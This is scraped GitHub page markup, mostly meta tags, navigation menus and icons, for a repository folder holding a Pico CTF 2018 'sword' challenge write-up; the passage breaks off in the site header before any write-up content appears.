name="twitter:title" content="ctf-write-ups/Pico CTF 2018/sword at master · 0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:image:alt" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-write-ups/Pico CTF 2018/sword at master · 0n3m4ns4rmy/ctf-write-ups" /><meta property="og:url" content="https://github.com/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/0n3m4ns4rmy/ctf-write-ups git https://github.com/0n3m4ns4rmy/ctf-write-ups.git"> <meta name="octolytics-dimension-user_id" content="41856372" /><meta name="octolytics-dimension-user_login" content="0n3m4ns4rmy" /><meta name="octolytics-dimension-repository_id" content="142745576" /><meta name="octolytics-dimension-repository_nwo" content="0n3m4ns4rmy/ctf-write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="142745576" /><meta name="octolytics-dimension-repository_network_root_nwo" content="0n3m4ns4rmy/ctf-write-ups" /> <link rel="canonical" href="https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/Pico%20CTF%202018/sword" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="142745576" data-scoped-search-url="/0n3m4ns4rmy/ctf-write-ups/search" data-owner-scoped-search-url="/users/0n3m4ns4rmy/search" data-unscoped-search-url="/search" data-turbo="false" action="/0n3m4ns4rmy/ctf-write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="H3THROHXzFiLwTuRo2LozGYw5PekkF4hn6QhNdsSlMrN9W0599flhBSQqCitl0APQ9rP6tmJjP5ETqBJpWgykw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 